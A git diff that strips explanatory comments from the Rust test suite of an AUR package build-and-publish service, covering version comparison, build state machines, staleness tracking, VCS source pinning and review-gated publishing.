let bad = tmp.path().join(aur_build::hash::hex(b"some other artifact"));
std::fs::write(&bad, b"tampered").unwrap();
let (code, _, err) = shim(
@@ -244,8 +234,6 @@ fn mkarchroot_creates_a_warm_root() {
assert!(root.join("SHIM-ROOT").exists());
}
-/// Every fixture in the corpus must be drivable through the shims: the executable
-/// documentation of the §16 edge cases.
#[test]
fn every_fixture_is_drivable_through_the_shims() {
let mut names = Vec::new();
@@ -314,8 +302,6 @@ fn every_fixture_is_drivable_through_the_shims() {
}
}
-/// The corpus doubles as detection fixtures: each one must be detectable through
-/// the real watcher against its local git repo.
#[test]
fn fixtures_are_detected_through_the_watcher() {
for name in ["plain-make", "with-patch", "install-hooks", "skip-checksum", "split-pkgbase", "epoch-bump"] {
@@ -343,7 +329,6 @@ fn shim_environment_reaches_child_processes_through_the_config() {
cfg.hooks.shim_dir = Some(env.path("shimlog"));
std::fs::create_dir_all(env.path("shimlog")).unwrap();
- // Prove the config is what puts the shims on PATH, not the test process env.
let mut cmd = Command::new("sh");
cfg.child_env(&mut cmd);
let out = cmd.args(["-c", "command -v makechrootpkg; echo $AUR_SHIM_MANIFEST"]).output().unwrap();
@@ -352,13 +337,6 @@ fn shim_environment_reaches_child_processes_through_the_config() {
assert!(s.contains("manifest.json"), "{s}");
}
-// repo-add's database filename. A shim must be as strict as the tool it stands in
-// for: the pipeline used to render the index to `<db>.tar.gz.tmp`, real repo-add
-// rejects that as a usage error, and every publish test passed while the first
-// real package died at the last step.
-
-/// Names pacman's repo-add accepts as its database argument, measured against
-/// `repo-add (pacman) 7.1.0` rather than guessed from its docs.
const REAL_ACCEPTED: [&str; 5] = [
"aur.db.tar",
"aur.db.tar.gz",
@@ -367,8 +345,6 @@ const REAL_ACCEPTED: [&str; 5] = [
"aur.db.tar.xz",
];
-/// Names it refuses — including the render target the pipeline used to use, and
-/// the `.files.*` forms, which are `repo-files`' business and not repo-add's.
const REAL_REJECTED: [&str; 5] =
["aur.db", "aur.db.gz", "aur.db.tar.gz.tmp", "aur.files.tar.gz", "aur"];
@@ -393,8 +369,6 @@ fn repo_add_shim_refuses_a_database_name_repo_add_refuses() {
}
}
-/// The oracle, when the host has one: the shim's verdict must be the real tool's
-/// verdict, name for name.
#[test]
fn repo_add_db_names_match_the_real_repo_add() {
if Command::new("repo-add").arg("--version").output().is_err() {
@@ -416,8 +390,6 @@ fn repo_add_db_names_match_the_real_repo_add() {
}
}
-/// The regression itself, asserted on the pipeline rather than on the shim: what
-/// filename does publish actually hand repo-add?
#[test]
fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() {
let web = Web::new("plain-make");
@@ -443,8 +415,6 @@ fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() {
"publish passed {db}, which repo-add would refuse"
);
- // The render happens in a scratch directory beside the live database, under the
- // name a consumer will download, and is gone once the rename lands.
let arch = web.env.cfg.repo_arch_dir();
let leftovers: Vec<String> = std::fs::read_dir(&arch)
.unwrap()
diff --git a/tests/staleness.rs b/tests/staleness.rs
index cadfc69..b5a5ac1 100644
--- a/tests/staleness.rs
+++ b/tests/staleness.rs
@@ -38,7 +38,6 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
assert_eq!(stale[0].built_with, "1.0-1");
assert_eq!(stale[0].now, "2.0-1");
- // "Derived purely on read" means there is nowhere for a stale answer to hide.
let cols: Vec<String> = env
.db
.read(|c| {
@@ -52,15 +51,12 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
.unwrap();
assert!(cols.is_empty(), "staleness must not be persisted anywhere: {cols:?}");
- // The answer tracks the index, not any stored flag: withdrawing plain-make
- // changes what is true about dep-client without touching it.
pipeline::publish::withdraw_package(&env.cfg, &env.db, "plain-make").unwrap();
let after = staleness::stale_rows(&env.db).unwrap();
assert!(
after.iter().any(|s| s.pkgbase == "dep-client" && s.kind == staleness::Kind::Missing),
"withdrawing the dependency should flip the answer to missing: {after:?}"
);
- // And nothing about dep-client was written to make that happen.
assert_eq!(
env.query_i64("SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='dep-client')", &[]),
Some(1),
@@ -72,8 +68,6 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
#[test]
fn a_missing_dependency_blocks_the_build_and_names_the_blocker_everywhere() {
let (env, fx, _partner) = env_with_two_fixtures("missing-dep", "dep-partner");
- // dep-partner is a package we intend to publish but have not yet: the build
- // cannot run, and that is a fact to report (§10.4).
let c = approved(&env, "missing-dep");
assert_eq!(c.missing_deps(), vec!["dep-partner".to_string()], "the review must warn before approving");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
@@ -84,10 +78,8 @@ fn a_missing_dependency_blocks_the_build_and_names_the_blocker_everywhere() {
assert_eq!(b.state, BuildState::BlockedMissingDep);
let blocked_on: Vec<String> = serde_json::from_str(&b.blocked_on_json).unwrap();
assert_eq!(blocked_on, vec!["dep-partner".to_string()]);
- // Blocked is not failed: nothing went wrong with the build itself.
assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='failed'", &[]), Some(0));
- // It shows on Attention with the blocker named, not just "something is wrong".
let web = Web::attach(env, fx);
let page = web.get("/attention");
assert!(page.body.contains("Blocked builds"), "no blocked section: {}", &page.body[..600.min(page.body.len())]);
@@ -104,23 +96,18 @@ fn a_blocked_build_waits_and_is_requeued_only_when_the_blocker_arrives() {
pipeline::run(&env.cfg, &env.db, &id).unwrap();
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::BlockedMissingDep);
- // The dispatcher sweeps blocked builds every pass. Requeueing one that will
- // immediately block again is a busy loop, so it must stay put.
assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "requeued while still blocked");
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::BlockedMissingDep);
- // Publishing dep-partner is what unblocks it: a human already approved it.
publish(&env, "dep-partner");
assert!(
aur_build::db::our_package_names(&env.db).unwrap().contains("dep-partner"),
"dep-partner should be in the index now: {:?}",
aur_build::db::our_package_names(&env.db)
);
- // Publishing the blocker requeues what was waiting on it.
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Queued, "the blocker arrived and the build stayed blocked");
assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "nothing left to requeue");
- // And it now runs to completion.
pipeline::run(&env.cfg, &env.db, &id).unwrap();
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Succeeded);
assert!(aur_build::db::index_version(&env.db, "missing-dep").unwrap().is_some());
@@ -141,7 +128,6 @@ fn the_review_page_warns_about_missing_deps_before_approval() {
#[test]
fn the_review_page_answers_what_approving_this_would_disturb() {
- // §10.3: "approving this marks N packages stale".
let (env, plain, _client) = env_with_two_fixtures("plain-make", "dep-client");
publish(&env, "plain-make");
publish(&env, "dep-client");
@@ -159,9 +145,7 @@ fn the_review_page_answers_what_approving_this_would_disturb() {
);
assert!(page.body.contains("dep-client"), "the dependent is not named");
- // And the same answer is available without the UI.
assert_eq!(staleness::dependents_of(&web.env.db, "plain-make").unwrap(), vec!["dep-client".to_string()]);
- // Approving it does not rebuild anything by itself (§10: no rebuild engine).
assert_eq!(web.env.query_i64("SELECT count(*) FROM build", &[]), Some(2), "one build per published package");
}
@@ -170,8 +154,6 @@ fn a_dependency_we_stopped_publishing_shows_as_missing_not_outdated() {
let (env, _plain, client) = env_with_two_fixtures("plain-make", "dep-client");
publish(&env, "plain-make");
publish(&env, "dep-client");
- // Withdraw plain-make from the index: dep-client now depends on something we
- // no longer serve.
pipeline::publish::withdraw_package(&env.cfg, &env.db, "plain-make").unwrap();
let stale = staleness::stale_rows(&env.db).unwrap();
diff --git a/tests/state_machine.rs b/tests/state_machine.rs
index a8d9b35..70d7aa6 100644
--- a/tests/state_machine.rs
+++ b/tests/state_machine.rs
@@ -32,12 +32,10 @@ fn the_machine_refuses_a_transition_it_does_not_define() {
let id = build(&env, "b1");
assert_eq!(state(&env, "b1"), BuildState::Queued);
- // Queued → Succeeded: a build cannot finish without running.
let err = builds::set_state(&env.db, &id, BuildState::Succeeded, None).unwrap_err();
assert!(err.to_string().contains("illegal build transition"), "{err}");
assert_eq!(state(&env, "b1"), BuildState::Queued, "a refused transition writes nothing");
- // And a build that does not exist is named as such, not silently updated.
let err = builds::set_state(&env.db, "nope", BuildState::Cancelled, None).unwrap_err();
assert!(err.to_string().contains("no build nope"), "{err}");
}
@@ -59,16 +57,11 @@ fn a_terminal_build_is_history_and_does_not_move() {
assert!(builds::set_state(&env.db, &id, to, None).is_err(), "accepted {to:?} after success");
}
assert_eq!(state(&env, "b1"), BuildState::Succeeded);
- // Rows are never deleted (§15); a finished build stays what it was.
assert_eq!(env.query_i64("SELECT count(*) FROM build", &[]), Some(1));
}
#[test]
fn a_zombie_worker_cannot_finish_a_build_it_no_longer_owns() {
- // The failure this pins: a worker's lease expires mid-step, the reaper hands
- // the build back, and the original worker comes back and writes `succeeded`
- // over whatever the new owner did. The compare-and-swap in `set_state` makes
- // that an error.
let env = Env::new();
let id = build(&env, "b1");
builds::claim(&env.db, "worker-1", &id, 90).unwrap();
@@ -85,23 +78,17 @@ fn a_zombie_worker_cannot_finish_a_build_it_no_longer_owns() {
#[test]
fn a_state_the_code_does_not_know_is_an_error_not_an_empty_string() {
- // A row written by an older binary, a hand-edit, or a future migration must
- // stop the process, not render as a build in no state at all.
let env = Env::new();
let id = build(&env, "b1");
env.exec("UPDATE build SET state='exploded' WHERE id=?1", &[common::P::S(id.clone())]);
let err = builds::get(&env.db, &id).unwrap_err();
assert!(err.to_string().contains("outside the state machine"), "{err}");
- // The package page lists a pkgbase's builds with no state filter: an
- // unreadable row must fail the query, not vanish.
let pb = env.query_i64("SELECT id FROM pkgbase WHERE name='x'", &[]).unwrap();
assert!(aur_build::db::builds_for_pkgbase(&env.db, pb, 10).is_err());
}
#[test]
fn the_transition_table_is_the_machine_the_code_actually_uses() {
- // Every state may be re-written with its own name — a no-op, not a move. What
- // matters is what else is reachable, and this table is the whole machine.
let reachable = |from: BuildState| -> Vec<&'static str> {
BuildState::ALL
.iter()
@@ -119,17 +106,13 @@ fn the_transition_table_is_the_machine_the_code_actually_uses() {
["queued", "running", "blocked_missing_dep", "succeeded", "failed", "cancelled"]
);
assert_eq!(reachable(BuildState::BlockedMissingDep), ["queued", "blocked_missing_dep", "cancelled"]);
- // A failed build is resumed on its own row (I5) or requeued by a human (§8.4).
assert_eq!(reachable(BuildState::Failed), ["queued", "running", "failed"]);
assert_eq!(reachable(BuildState::Cancelled), ["queued", "cancelled"]);
- // A published build is history: a new version is a new build id (§8.1).
assert_eq!(reachable(BuildState::Succeeded), ["succeeded"]);
}
#[test]
fn requeueing_a_succeeded_build_is_refused_not_silently_requeued() {
- // `builds::retry` resets the failed steps and moves the row back to the queue.
- // On a build that already published there is nothing to retry.
let env = Env::new();
let id = build(&env, "b1");
builds::claim(&env.db, "worker-1", &id, 90).unwrap();
@@ -142,8 +125,6 @@ fn requeueing_a_succeeded_build_is_refused_not_silently_requeued() {
#[test]
fn a_failed_build_is_resumed_on_its_own_row() {
- // I5: the resume happens on the same row, because the step checkpoints say
- // where to continue.
let env = Env::new();
let id = build(&env, "b1");
builds::claim(&env.db, "worker-1", &id, 90).unwrap();
@@ -157,11 +138,8 @@ fn a_failed_build_is_resumed_on_its_own_row() {
assert_eq!(state(&env, &id), BuildState::Succeeded);
}
-
// ---------------------------------------------------------- the other machines --
-/// A candidate row in `state`, inserted directly: these tests are about the state
-/// column, not about how a candidate is discovered.
fn candidate(env: &Env, state: &str) -> i64 {
env.exec(
"INSERT OR IGNORE INTO pkgbase (name, aur_url, created_at) VALUES ('x', 'u', '2026-01-01T00:00:00Z')",
@@ -192,14 +170,12 @@ fn candidate_state(env: &Env, id: i64) -> CandidateState {
#[test]
fn a_decided_review_is_never_re_decided() {
- // The one write in this system that must never overwrite a human's decision.
let env = Env::new();
let id = candidate(&env, "approved");
let err = resolve(&env, id, CandidateState::Rejected).unwrap_err();
assert!(err.to_string().contains("illegal candidate transition approved"), "{err}");
assert_eq!(candidate_state(&env, id), CandidateState::Approved);
- // Superseding a decided review is the one move it makes (§7.1).
resolve(&env, id, CandidateState::Superseded).unwrap();
assert_eq!(candidate_state(&env, id), CandidateState::Superseded);
assert!(resolve(&env, id, CandidateState::Approved).is_err());
@@ -211,13 +187,11 @@ fn only_an_open_review_can_be_approved() {
let id = candidate(&env, "rejected");
assert!(resolve(&env, id, CandidateState::Approved).is_err(), "a rejection was re-decided");
assert_eq!(candidate_state(&env, id), CandidateState::Rejected);
- // Re-writing the state it already has is a no-op, not a re-decision.
resolve(&env, id, CandidateState::Rejected).unwrap();
}
#[test]
fn a_completed_step_checkpoint_is_frozen() {
- // I5: a resumed build reads these rows to decide what not to redo.
let env = Env::new();
let id = build(&env, "b1");
builds::begin_step(&env.db, &id, "build", 1).unwrap();
@@ -234,22 +208,18 @@ fn an_interrupted_step_resumes_and_a_blocked_step_waits() {
let env = Env::new();
let id = build(&env, "b1");
builds::begin_step(&env.db, &id, "build", 1).unwrap();
- // The reaper's write, then the resume's re-begin.
env.exec(
"UPDATE build_step SET status='interrupted' WHERE build_id=?1 AND step='build'",
&[common::P::S(id.clone())],
);
assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Interrupted));
builds::begin_step(&env.db, &id, "build", 2).unwrap();
- // The blocked path puts the checkpoint back to waiting rather than failing it.
builds::finish_step(&env.db, &id, "build", StepState::Pending, None, Some("blocked")).unwrap();
assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Pending));
}
#[test]
fn an_unnamed_state_in_any_row_is_an_error() {
- // Every state column is parsed through `db::state_col`, so an unknown value
- // stops the read instead of rendering as some other state.
let env = Env::new();
let cid = candidate(&env, "approved");
env.exec(
diff --git a/tests/surfaces.rs b/tests/surfaces.rs
index 1df9f40..87b860d 100644
--- a/tests/surfaces.rs
+++ b/tests/surfaces.rs
@@ -11,7 +11,6 @@ fn attention_lists_a_downgrade_when_aur_moves_below_what_we_serve() {
web.publish("plain-make");
assert!(!web.get("/attention").body.contains("Downgrades"), "nothing is stale yet");
- // The maintainer reverts their version bump. We still serve the higher one.
web.fx.bump(&[("pkgver", "0.9")]);
aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap();
@@ -33,7 +32,6 @@ fn attention_lists_outdated_dependencies_from_the_recorded_world() {
"dep-client is fresh right after both were published"
);
- // plain-make moves; dep-client was built against the old one.
plain.bump(&[("pkgver", "2.0")]);
web.publish("plain-make");
@@ -59,20 +57,15 @@ fn the_package_page_answers_dependencies_and_staleness() {
assert!(page.body.contains("plain-make"), "the dependency is not listed");
assert!(page.body.contains("Stale"), "staleness is not shown on the package page");
- // And from the other side: what would a change to plain-make disturb?
let other = web.get("/packages/plain-make");
assert!(other.body.contains("Needed by"), "no needed-by block");
assert!(other.body.contains("dep-client"), "the dependent is not listed");
- // The timeline is the aur_commit history: one row per release, each linking
- // into AUR's cgit at that exact commit.
assert!(other.body.contains("aur.archlinux.org/cgit/aur.git/tree/?h=plain-make&amp;id="), "no per-release cgit link");
assert!(other.body.contains("serving 2.0"), "the summary does not say what is served");
}
#[test]
fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() {
- // I6: rebuilding what is already approved is not a new decision. It must
- // not create an approval, and it must not need one.
let web = Web::new("plain-make");
web.publish("plain-make");
let approvals_before = web.env.query_i64("SELECT count(*) FROM approval", &[]).unwrap();
@@ -93,7 +86,6 @@ fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() {
.unwrap();
assert_eq!(queued, 1, "the rebuild was not queued");
- // Run it: it publishes the same version, still on the one approval.
let id: String = web
.env
.db
@@ -143,7 +135,6 @@ fn the_subscriptions_page_shows_state_and_last_check() {
assert_eq!(page.status, 200);
assert!(page.body.contains("plain-make"), "the subscription is not listed");
assert!(page.body.contains("active"), "no state shown");
- // Pause and remove are per-subscription POSTs, not links that mutate.
assert!(page.body.contains("action=\"/subscriptions/pause\""), "no pause form");
assert!(page.body.contains("action=\"/subscriptions/remove\""), "no remove form");
}
@@ -157,7 +148,6 @@ fn pausing_a_subscription_stops_detection_and_resuming_starts_it_again() {
Some(1),
"pause did not take"
);
- // A paused pkgbase is not re-detected even when upstream moves.
web.fx.bump(&[("pkgver", "3.0")]);
let report = aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap();
assert!(matches!(report.outcome, aur_build::watch::detect::Outcome::Paused), "a paused subscription was still inspected");
diff --git a/tests/time.rs b/tests/time.rs
index 6ab0665..3d4a203 100644
--- a/tests/time.rs
+++ b/tests/time.rs
@@ -6,9 +6,6 @@ use common::Env;
#[test]
fn a_pinned_clock_moves_relative_arithmetic_with_it() {
- // The finding: `now()` honored the pinned clock but `secs_ago` and `secs_ahead`
- // read the wall clock, so a pinned test computed real-clock expiries while
- // comparing them against the pinned "now".
time::pin("2026-01-01T00:00:00Z");
assert_eq!(time::now(), "2026-01-01T00:00:00Z");
assert_eq!(time::secs_ahead(90), "2026-01-01T00:01:30Z");
@@ -40,9 +37,7 @@ fn a_lease_taken_under_a_pinned_clock_expires_against_that_clock() {
Some("2026-01-01T00:01:30Z"),
"the lease must be 90 seconds after the pinned now, not the real one"
);
- // Still inside the lease: nothing to reap.
assert_eq!(builds::reap_expired(&env.db).unwrap(), 0);
- // Ninety-one seconds of pinned time pass, and the reaper sees it.
time::pin("2026-01-01T00:01:31Z");
assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
assert_eq!(builds::get(&env.db, "b1").unwrap().unwrap().state, BuildState::Queued);
diff --git a/tests/vcs.rs b/tests/vcs.rs
index 62efe5f..e83643e 100644
--- a/tests/vcs.rs
+++ b/tests/vcs.rs
@@ -23,7 +23,6 @@ fn makepkg_calls(env: &Env) -> usize {
#[test]
fn stage_a_probes_every_vcs_source_not_just_the_first() {
let (env, fx) = env_with_fixture("git-multi");
- // Two upstream repos, two pins: either one can move alone (§5.2).
let (outcome, c) = detect_and_take(&env, "git-multi");
assert!(matches!(outcome, detect::Outcome::Candidate { .. }), "{outcome:?}");
let c = c.unwrap();
@@ -33,7 +32,6 @@ fn stage_a_probes_every_vcs_source_not_just_the_first() {
assert_eq!(pins[1].commit, fx.upstream2_head(), "second source pin");
assert_eq!(pins[0].index, 0);
assert_eq!(pins[1].index, 1);
- // The resolved version came from Stage B, not from the frozen pkgver= line.
assert_eq!(c.pkgver, "r1");
}
@@ -47,7 +45,6 @@ fn stage_a_respects_a_tag_pin() {
assert_eq!(pins[0].ref_, "v1", "the #tag=v1 fragment is the ref we asked for");
assert_eq!(pins[0].commit, head_at_tag, "the tag resolved to its commit");
- // Upstream moves; a tagged pin must not follow it.
fx.upstream_commit("upstream: moved past the tag\n");
let (outcome, _) = detect_and_take(&env, "git-tagged");
assert!(
@@ -66,8 +63,6 @@ fn stage_a_short_circuits_before_stage_b_when_nothing_moved() {
let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap();
- // Now poll again with nothing changed. Stage A finds the same tip set, so Stage
- // B must not run at all — the common case, every day.
let before = makepkg_calls(&env);
let cache_before = stage_b_rows(&env);
let r = detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap();
@@ -82,15 +77,10 @@ fn stage_b_resolves_pkgver_and_captures_the_pins() {
let head = fx.upstream_head();
let (_outcome, c) = detect_and_take(&env, "git-sourced");
let c = c.unwrap();
- // The candidate's version is what `pkgver()` computed, not the frozen field.
assert_eq!(c.pkgver, "r1.0");
assert_eq!(c.pkgrel, "1");
- // The pins it will be built from are recorded now, while the clone is already
- // there.
let pins: Vec<UpstreamPin> = serde_json::from_str(&c.upstream_pins_json).unwrap();
assert_eq!(pins[0].commit, head);
- // The pins are part of the identity: a different commit is a different thing to
- // approve.
let with_pins = Identity {
aur_commit: "x".into(),
epoch: "0".into(),
@@ -111,17 +101,13 @@ fn stage_b_is_cached_on_pkgbase_recipe_and_tip() {
let calls = makepkg_calls(&env);
assert!(calls >= 1, "Stage B must actually run once");
- // Same recipe, same tip: the cached answer is reused, no new resolution.
detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap();
assert_eq!(makepkg_calls(&env), calls, "cache miss on an unchanged key");
assert_eq!(stage_b_rows(&env), 1);
- // A new tip is a new key, so it resolves again — but the cooldown window holds
- // it back.
fx.upstream_commit("upstream: new tip\n");
detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap();
assert_eq!(stage_b_rows(&env), 1, "cooldown should suppress the re-resolve");
- // Outside the window it resolves again.
env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]);
detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap();
assert_eq!(stage_b_rows(&env), 2, "a new tip outside cooldown must resolve");
@@ -130,8 +116,6 @@ fn stage_b_is_cached_on_pkgbase_recipe_and_tip() {
#[test]
fn stage_b_concurrency_cap_is_enforced() {
- // The cap is a process-wide guard; with the default of 1 a second caller waits
- // for the first.
let (env, _fx) = env_with_fixture("git-sourced");
let slots = std::sync::Arc::new(std::sync::atomic::AtomicUsize::new(0));
let s1 = slots.clone();
@@ -154,8 +138,6 @@ fn stage_b_concurrency_cap_is_enforced() {
#[test]
fn an_unprobeable_source_forces_stage_b_instead_of_claiming_no_change() {
- // svn/hg have no cheap universal probe. The honest answer is "we do not know",
- // which means Stage B runs.
let recipe = aur_build::recipe::parse_pkgbuild(
&std::fs::read_to_string(corpus_root().join("git-sourced/PKGBUILD")).unwrap(),
)
@@ -178,8 +160,6 @@ fn an_unprobeable_source_forces_stage_b_instead_of_claiming_no_change() {
#[test]
fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() {
- // §5.2: pins moved, version frozen — pacman cannot offer an upgrade, so it
- // becomes a notice and is never dropped.
let (env, fx) = env_with_fixture("pin-drift");
let (_outcome, c) = detect_and_take(&env, "pin-drift");
let c = c.unwrap();
@@ -188,8 +168,6 @@ fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() {
let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap();
- // Upstream moves. The shim still reports the same pkgver, as a degenerate
- // `pkgver()` does, so nothing is publishable.
fx.upstream_commit("upstream: 14 more commits\n");
env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]);
let (outcome, new_candidate) = detect_and_take(&env, "pin-drift");
@@ -198,13 +176,11 @@ fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() {
other => panic!("expected a pin_drift notice, got {other:?}"),
}
assert!(new_candidate.is_none(), "a non-publishable change opens no review");
- // But it is recorded, and says why (§5.2 wording).
let notices = db::list_notices(&env.db, false).unwrap();
assert_eq!(notices.len(), 1);
assert_eq!(notices[0].kind, notice_kind::PIN_DRIFT);
let detail = notices[0].detail_json.clone();
assert!(detail.contains("nothing publishable"), "{detail}");
- // The index keeps serving the artifact built from the old pins (I11).
assert_eq!(
env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]),
Some(1)
@@ -223,7 +199,6 @@ fn a_moved_tip_with_a_changed_pkgver_is_a_normal_candidate() {
fx.upstream_commit("upstream: a real release\n");
env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]);
- // The tool now computes a different version from the new tip.
let mut m = fx.manifest_json();
m["vercheck"] = serde_json::json!("r2.0-1");
std::fs::write(&fx.manifest, serde_json::to_string(&m).unwrap()).unwrap();
@@ -243,7 +218,6 @@ fn the_vcs_cache_is_reused_across_polls() {
let cache = env.cfg.vcs_cache_path(&format!("file://{}", fx.upstream.clone().unwrap().display()));
assert!(cache.exists(), "Stage B should leave a persistent clone behind (§5.2 clone reuse)");
let mtime_before = std::fs::metadata(&cache).ok().and_then(|m| m.modified().ok());
- // A second resolution reuses it rather than re-cloning.
env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]);
fx.upstream_commit("upstream: again\n");
detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap();
diff --git a/tests/versions.rs b/tests/versions.rs
index ae6e877..b8a0b56 100644
--- a/tests/versions.rs
+++ b/tests/versions.rs
@@ -8,9 +8,6 @@ use aur_build::pkgver::{self, Dep, DepOp};
use aur_build::review::{candidates, diff};
use common::*;
-/// Ordering pairs, each `a` strictly older than `b`. Every pair was checked
-/// against pacman's own `vercmp`, because the interesting cases are exactly the
-/// ones that are easy to misremember.
const ORDERED: &[(&str, &str)] = &[
("v1.2.3", "v1.2.4"),
("1.0", "1.1"),
@@ -77,17 +74,12 @@ fn vercmp_orders_the_canonical_vectors() {
}
}
-/// The strongest version of this test: compare the hand-written implementation
-/// against pacman's own `vercmp` over a cross-product of the shapes that appear in
-/// real recipes. Skipped with a note when the binary is absent.
#[test]
fn vercmp_matches_the_system_oracle() {
if std::process::Command::new("vercmp").arg("1").arg("2").output().is_err() {
eprintln!("note: pacman's `vercmp` is not on PATH; skipping the differential check");
return;
}
- // No `-` here: pacman's `vercmp` binary compares two raw version strings and
- // does not split an epoch/pkgrel triple, so `vercmp_string` is the right side.
let fragments = [
"1", "1.0", "1.0.0", "1.0.1", "1.1", "2", "2.0", "1.0a", "1.0rc1", "1.0.2a", "1.0.2.1",
"1.0.2.a", "1.0.2.aa", "1.0.2.b", "1.0.2z", "1.0z", "1.0.z", "0.9", "10", "2.24", "2.5",
@@ -131,31 +123,23 @@ fn equal_versions_compare_equal_and_leading_zeros_do_not_matter() {
#[test]
fn an_epoch_always_beats_a_larger_version_without_one() {
- // The rule that catches a maintainer who resets a version and adds an epoch.
assert_eq!(pkgver::vercmp("1:0.1-1", "9.9.9-1"), Ordering::Greater);
assert_eq!(pkgver::vercmp("9.9.9-1", "1:0.1-1"), Ordering::Less);
- // No epoch means epoch 0, on both sides.
assert_eq!(pkgver::vercmp("0:1.0-1", "1.0-1"), Ordering::Equal);
assert_eq!(pkgver::vercmp("1:1.0-1", "1.0-1"), Ordering::Greater);
}
#[test]
fn a_pkgrel_reset_under_a_newer_pkgver_is_still_an_upgrade() {
- // The shape AUR produces constantly: 1.2.3-4 -> 1.2.4-1. Comparing the
- // pkgrel alone would call this a downgrade.
assert_eq!(pkgver::vercmp("1.2.3-4", "1.2.4-1"), Ordering::Less);
assert!(!pkgver::is_downgrade("1.2.3-4", "1.2.4-1"));
- // And the reverse really is a downgrade even though pkgrel went up.
assert!(pkgver::is_downgrade("1.2.4-1", "1.2.3-9"));
}
#[test]
fn alpha_numeric_boundaries_follow_the_chunk_rule() {
- // A numeric chunk is always newer than an alphabetic one at the same position.
assert_eq!(pkgver::vercmp("1.0.1", "1.0.a"), Ordering::Greater);
assert_eq!(pkgver::vercmp("1.0.a", "1.0.1"), Ordering::Less);
- // A shorter version is newer when the extra chunk is numeric, older when it is
- // alphabetic.
assert_eq!(pkgver::vercmp("1.0", "1.0.1"), Ordering::Less);
assert_eq!(pkgver::vercmp("1.0", "1.0a"), Ordering::Greater);
assert_eq!(pkgver::vercmp("1.0rc1", "1.0"), Ordering::Less);
@@ -171,9 +155,7 @@ fn dependency_strings_parse_with_their_constraints() {
("glibc>=2.39-1", "glibc", DepOp::Ge, Some("2.39-1")),
("linux-api-headers=6.0", "linux-api-headers", DepOp::Eq, Some("6.0")),
("gcc-libs<=13.2.1-2", "gcc-libs", DepOp::Le, Some("13.2.1-2")),
- // An epoch inside a constraint is part of the version, not the name.
("foo>=1:2.3-4", "foo", DepOp::Ge, Some("1:2.3-4")),
- // optdepends carry a description after a colon; it is not a version.
("python-pytest: for tests", "python-pytest", DepOp::Any, None),
];
for (src, name, op, ver) in cases {
@@ -182,7 +164,6 @@ fn dependency_strings_parse_with_their_constraints() {
assert_eq!(d.op, op, "{src:?} operator");
assert_eq!(d.version.as_deref(), ver, "{src:?} version");
}
- // Malformed input is dropped, not fatal.
assert!(Dep::parse("").is_none());
assert!(Dep::parse(">=1.0").is_none());
assert_eq!(pkgver::dep_names(&["python>=3.11".into(), "gcc".into()]), vec!["python", "gcc"]);
@@ -194,18 +175,14 @@ fn version_constraints_are_satisfied_by_the_right_versions() {
assert!(d.satisfied_by("2.39-1"));
assert!(d.satisfied_by("2.40-1"));
assert!(!d.satisfied_by("2.38-1"));
- // An epoch on the installed side satisfies a constraint that has none.
assert!(Dep::parse("foo>=1.0").unwrap().satisfied_by("1:0.1-1"));
- // `=` means exactly equal in pacman's sense, not string-equal.
assert!(Dep::parse("foo=1.0-1").unwrap().satisfied_by("1.0-1"));
assert!(!Dep::parse("foo=1.0-1").unwrap().satisfied_by("1.0-2"));
- // A bare name is satisfied by anything.
assert!(Dep::parse("foo").unwrap().satisfied_by("0"));
}
#[test]
fn provides_and_conflicts_use_the_same_grammar() {
- // provides/conflicts entries carry versions with the same syntax.
for src in ["aur-build", "aur-build=0.1-1", "virtual-thing>=1.0"] {
let d = Dep::parse(src).expect(src);
assert!(!d.name().is_empty());
@@ -219,8 +196,6 @@ fn provides_and_conflicts_use_the_same_grammar() {
#[test]
fn a_downgrade_in_the_aur_is_flagged_not_silently_served() {
- // A maintainer reverting a version is a mistake far more often than a
- // deliberate rollback.
let (env, fx) = env_with_fixture("plain-make");
publish(&env, "plain-make");
fx.bump(&[("pkgver", "0.9")]);
@@ -235,13 +210,11 @@ fn a_downgrade_in_the_aur_is_flagged_not_silently_served() {
);
